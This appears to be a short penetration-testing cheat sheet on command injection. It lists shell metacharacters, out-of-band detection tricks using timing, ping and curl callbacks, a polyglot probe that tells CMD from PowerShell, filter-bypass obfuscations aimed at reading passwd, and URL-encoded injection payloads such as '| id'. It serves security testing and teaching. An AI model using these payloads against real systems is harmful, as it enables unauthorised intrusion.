See also the encoding post for encoding methods.
- Try to determine which characters are allowed by adding them one by one.
" ' ; & | > ` \ ( ) # { } [ ] - Try the following to add multiple commands to one bash command.
|
&
>
; - Especially for XSS, try these:
'
"
{
}
;
<
>
Tips
- Try to redirect STDERR to see what goes wrong.
- If only one command is possible, try to add && or || … to add another command.
- If unsure if injection works and no output is there, try side channels:
- Timing: Try something like wait and see if the response is delayed accordingly.
- ICMP: Try ping yourself and capture ICMP packets with tcpdump.
- Curl/wget: Open a listener and try to request something from yourself.
- If you can inject on windows and want to know, weather the CMD or PS is used, try to inject this:
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
Or, in URLencode:(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20PowerShell
Bypassing filters
- Use uninialialized variables. Langes like PHP return empty string in string contexts.
pa$isswd
- Add empty strings
pa""sswd
- Add comments (for the right language!) like
pa/**/sswd
- Ressources
- https://www.exploit-db.com/papers/17934
Linux / PHP
All URL encoded values starting with a space character.
| id %20%7c%20%69%64 || id %20%7c%7c%20%69%64 & id %20%26%20%69%64 && id %20%26%26%20%69%64 <?php print "1"" ?> %20%3c%3f%70%68%70%20%70%72%69%6e%74%20%22%31%22%22%20%3f%3e ;id %20%3b%69%64
Sources
- https://github.com/xsscx/Commodity-Injection-Signatures
Leave a Reply
You must be logged in to post a comment.